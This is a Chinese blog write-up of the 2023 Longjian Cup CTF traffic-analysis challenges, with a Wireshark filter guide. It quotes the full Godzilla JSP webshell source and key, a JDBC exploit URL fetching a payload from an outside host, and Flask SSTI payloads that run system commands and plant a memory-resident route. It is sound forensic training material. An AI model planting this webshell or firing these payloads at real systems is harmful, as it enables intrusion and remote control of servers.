2023陇剑杯初赛复现

Wireshark的使用

不论是是ctf还是其他比赛的流量分析题目,或多或少都会用到Wireshark来做,因此这里简单记录一下Wireshark的使用方法,方便下次直接拿来用

过滤器表达式

IP过滤

  • ip
1
2
3
ip.addr = ip地址

ip.addr = 192.168.116.138 只显示ip为192.168.116.138有关的数据流
  • 源ip过滤
1
2
3
ip.src == 源ip地址

ip.src = 192.168.116.138 只显示源IP地址为192.168.116.138的数据流

或者,选中一个源IP是筛选条件的数据包,找到Internet Protocol Version 4下的Source字段。

右击Source字段,再选择作为过滤器应用 –-> 最后点击选中,就可筛选出该源IP的所有包了

  • 目的ip
1
2
3
ip.dst == 目的ip地址

ip.dst = 192.168.116.138 只显示目标IP地址为192.168.116.138的数据流

协议过滤

1
2
3
4
5
6
7
8
9
10
11
TCP:只显示TCP协议的数据流

HTTP:只显示HTTP协议的数据流

ICMP:只显示ICMP协议的数据流

ARP:只显示ARP协议的数据流

DNS:显示DNS协议的数据流

arp/icmp/http/ftp/dns/ip 筛选协议为arp/icmp/http/ftp/dns/ip的流量包

HTTP协议过滤

1
2
3
4
5
6
7
8
9
10
11
http.request.method==“GET” 显示get请求

http.request.method==“POST” 显示POST请求

http.request.uri contains admin 显示url中包含admin的请求

http.request.uri=="/img/logo-edu.gif" 筛选HTTP请求的URL为/img/logo-edu.gif的流量包

http.request.code==404 显示状态码为404

http contains "FLAG" 请求或相应中包含特定内容

mac地址过滤

1
2
3
eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址

eth.addr==A0:00:00:04:C5:84 筛选MAC地址

端口过滤

srcport是源地址,dstport是目的地址,与tcp和udp搭配使用就可以了

1
2
3
4
5
6
7
8
9
tcp.port == 80 只显示80端口TCP数据流

udp.prot == 67 只显示67端口UDP数据流

tcp.srcport == 80 只显示源地址的80端口数据流

tcp.dstport == 80 只显示目的地址80端口数据流

udp.srcport == 80 筛选udp协议的源地址的80的流量包

过滤包长度

1
2
3
4
5
6
7
udp.length==20,整个UDP数据包

tcp.len>=20,TCP数据包中的IP数据包

ip.len==20,整个IP数据包

frame.len==20,整个数据包

连接符

1
2
and,or
如:tcp.port == 80 and ip.addr = 192.168.116.138

数据内容搜索

在wireshark界面按“Ctrl+F”,可以进行关键字搜索,支持正则表达式、字符串、十六进制等方式进行搜索,通常情况下直接使用字符串方式进行搜索。

搜索栏的左边下拉,有分组列表、分组详情、分组字节流三个选项,分别对应wireshark界面的三个部分,搜索时选择不同的选项以指定搜索区域:

img

数据流的追踪

一个完整的数据流一般都是由很多个包组成的;
所以当我们想查看某条数据包对于的数据流的话。可以选中数据,右键选择追踪流;
里面就会有tcp流、udp流、ssl流、http流。数据包属于哪种流就选择对应的流;
当我们选择了追踪流时,会弹出该流的完整的数据流还有这个数据流中包含的数据包,对话框下面可以选择数据流方向,顶部的过滤器就是该流的过滤规则

数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下:
自动提取:
文件->导出对象->HTTP

在打开的对象列表中找到有价值的文件,如压缩文件、文本文件、音频文件、图片等,点击Save进行保存,或者Save All保存所有对象再进入文件夹进行分析。

手动提取:

选中http文件传输流量包,在分组详情中找到data,Line-based text, JPEG File Interchange Format, data:text/html层,鼠标右键点击 – 选中 导出分组字节流。
如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 – 选中 显示分组字节

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

img

最后点击Save as按钮导出。

参考:

https://jwt1399.top/posts/29176.html#toc-heading-10

Wireshark流量分析_H3rmesk1t的博客-CSDN博客

陇剑杯初赛复现

之前并没有过多的接触过流量分析,就借这次机会好好学学吧,看wp复现一下流量分析的题目

WS

Wireshark1_1

题目内容:被入侵主机的IP是?

Telnet是Internet远程登录服务的标准协议和主要方式,它可以让用户通过Internet网络登录到另一台远程计算机上,享受远程计算机本地终端同样的操作权限

一打开就可以很明显的看出来被TELNET登陆的IP是:192.168.246.28

所以被入侵主机的IP是192.168.246.28

Wireshark1_2

题目内容:被入侵主机的口令是?

右键telnet的登录流量->追踪流->tcp流

口令是youcannevergetthis

Wireshark1_3

题目内容:用户目录下第二个文件夹的名称是?

可以看到执行了ls的结果,第二个就是Downloads

Wireshark1_4

题目内容:/etc/passwd中倒数第二个用户的用户名是?

还是刚才那个tcp流

HW

hard_web_1

题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

[SYN, ACK]的是正常建立了链接

[RST, ACK]是如果主机需要尽快关闭连接或连接超时,端口或主机不可达时发送的

TCP扫描确认端口开放的标志就是返回SYN+ACK的包,所以只需要过滤SYN、ACK状态都为1的包即可

1
tcp.flags.syn==1 and tcp.flags.ack==1

这个也行

1
ip.dst == 192.168.162.188 and tcp.connection.synack

所以开放了端口80、888、8888

hard_web_2

题目内容:服务器中根目录下的flag值是多少?

翻到这个路径有shell.jsp,追踪http流看看

不了解没关系,直接复制粘贴去谷歌搜索,

1
<pre><%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

能发现这是哥斯拉jsp木马的内容哥斯拉jsp马分析_<%! string xc=”748007e861908c03”; class x extends _zeros__的博客-CSDN博客,AES加密

密钥已知:748007e861908c03,这个的明文也就是木马连接密码

在tcp.stream eq 20053 ,AES解密内容得到flag

选择原始数据,以0d0a0d0a请求体/响应体请求头/响应头的界限

1
b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa

注意选对相应的参数

flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard_web_3

题目内容:该webshell的连接密码是多少?

748007e861908c03放cmd5解密(但是需要付费),得到14mk3y

也可以用工具撞一下playGitboy/bruteHASH: 为CTF而生,随机或穷举指定格式HASH值,支持Fuzz MD系列、SHA系列等常见HASH类型 (github.com)

SS

sevrer save_1

黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

直接看http流量,前面的都是一下爆破响应404的请求,就看后面,/helloworld/greeting->追踪tcp流

看到了个奇怪的post数据,不认识,丢搜索引擎看看

第一个就是

sevrer save_2

黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

在tcp.stream eq 106

可以直观的看到

sevrer save_3

黑客的病毒名称是什么? 格式为:filename

在它给的文件夹查找,/home/guest中发现应该main文件

ELF可执行文件,那应该就是这个了

sevrer save_4

黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

这个可以去看看那些敏感文件里有没有,shadow和passwd

/etc/passwd、/etc/shadow,最后一个应该就是最新生成的

1
ll:123456

sevrer save_5

服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

在刚才的/home/guest中有一个.log.txt查看

1
172.105.202.239

sevrer save_6

病毒运行后释放了什么文件?格式:文件1,文件2

就是/home/guest/.idea中的俩文件,根据main和这两个文件的修改日期就可以推出了

1
lolMiner,mine_doge.sh

sevrer save_7

矿池地址是什么? 格式:domain:1234

打开mine_doge.sh

矿池地址:doge.millpools.cc:5567

sevrer save_8

黑客的钱包地址是多少?格式:xx:xxxxxxxx

1
DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

SSW

SmallSword_1

连接蚁剑的正确密码是__?(答案示例:123asd)

直接看http协议,一眼就能看到一句话木马的请求

1
6ea280898e404bfabd0ebb702327b19f

SmallSword_2

从后面看过来

tcp.stream eq 142发现写入的内容

base64解码得到

1
ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

攻击者下载到的flag是______________?(答案示例:flag3{uuid})

数据提取,文件->导出对象->HTTP->save all

一个一个看,可以先看一下文件大小比较大的

看别人wp一眼就看出来是exe文件格式(自己并不知道,还是见识太少了)EXE文件结构及原理_leopardpals的博客-CSDN博客

删掉前面的 2D 3E 7C,也就是让MZ成为文件头,然后把文件改后缀成exe

在桌面看到了一张test.jpg

发现是png格式,修改后缀为png,再次打开发现报错

crc爆破,tweakpng打开

跑脚本,爆破高为800,修改并保存

EW

ez_web_1

服务器自带的后门文件名是什么?(含文件后缀)

直接看http,从后面开始看,发现可以通过d00r.php来执行各种命令,但是这个却不是答案

1
tcp contains "d00r"

发现是ViewMore.php写入的d00r.php

ez_web_2

服务器的内网ip是多少?

最后的d00r.php执行了命令ipconfig

ez_web_3

攻击者往服务器写入的key是什么?

还是刚才那个流,可以看到写入了一个key_file压缩包,转化一下

1
2
3
4
5
6
from base64 import *

base64_data = 'UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='
with open('k3y_file.zip', 'wb') as f:
f.write(b64decode(base64_data))

在线Base64转文件工具 - 在线工具网 (hiofd.com)

再往上翻,找到解压密码

解压得到key

TP

tcpdump_1

题目内容:攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

类似burpsuite爆破一样,直接看http,找到爆破的那一段流量,根据回显字典来找到成功登录的流量

1
http and frame.len!=237

过滤掉登录失败字段237的那些协议,再去看那段登录流量

但这个过滤依旧有点弱智,看别人wp是直接根据登陆失败的回显来,推出正确的回显并过滤的

1
tcp contains "{\"errCode\":200}"

tcpdump_2

题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)

题目说的是软件存在越权漏洞,那就重点看类似软件路径的流量

1
http.request and http.request.uri contains "zy"

一共就这俩个,都MD5试试

1
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
1
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2

最后是

1
383c74db4e32513daaa1eeb1726d7255

tcpdump_3

题目内容:攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

1
tcp contains "jdbc"

1
zyplayer:1234567

tcpdump_4

题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

1
tcp contains "jdbc"

刚才在翻上一题的时候好像找到过

1
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml

1
CVE-2022-21724:custom.dtd.xml

tcpdump_5

题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap

1
http

从后面开始看

1
fscan

HD

hacked_1

题目内容:admIn用户的密码是什么?

1
tcp contains "admIn"

继续往下翻

推出正确的用户名和密码应该是:

1
username=NQq5hKinIsaMmIZ7FCTC0Q%3d%3d&password=KGM7NI0/WvKswK%2bPlmFIhO4gqe8jJzRdOi02GQ0wZoo%3d

但显然都是加密过的,再往下翻

1
2
crypt_key = 'l36DoqKUYQP0N7e1';
crypt_iv = '131b0c8a7a6e072e';

尝试AES解密

hacked_2

题目内容:app.config[‘SECRET_KEY’]值为多少?

1
tcp contains "SECRET_KEY"

一下子就找到了

1
ssti_flask_hsfvaldb

hacked_3

题目内容:flask网站由哪个用户启动?

知道了SECRET_KEY,可以解密JWT,找到执行命令的包

参考flask session伪造admin身份_flask_session_cookie_manager3.py_white_&_black的博客-CSDN博客

1
python .\flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"

返回

1
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
1
python .\flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"

返回

1
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}

所以用户应该是red

hacked_4

题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

1
2
 python .\flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJx1jUsOgkAQBa-Cs2lJCEbdcQI9A0w6DdMaYjPgfAwJmbsLC1fq7r2kKrWo6NlZGlhValmiE7yNrkS8y9iSeMQaENvYS-jt-kDXwC8S0PtG0TSVZAxulovCezhcreEZigw-Q2hoDWUVXFhk3GXH0xnyRhULoONnZB-wCzP6QN0Dqt_9b1AXsMb_8F10jm3AjdApT0mlNx2uUsY.YpIRHQ.qS_PWmxt4i4cjHYBzDz-rUdTZns"
{'username': '{{url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/Index\', \'Index\', lambda :\'Hello! 123\')",{\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})}}'}

路由是Index

IR、BF

有点类似取证的题目,看wp看得迷迷糊糊的,还是之后再补上吧

参考

2023第二届陇剑杯网络安全大赛 预选赛Writeup_陇剑杯writeup_末 初的博客-CSDN博客

https://byxs20.github.io/posts/5890.html


2023陇剑杯初赛复现
https://www.smal1.black/2023陇剑杯初赛复现.html
作者
Small Black
发布于
2023年9月6日
许可协议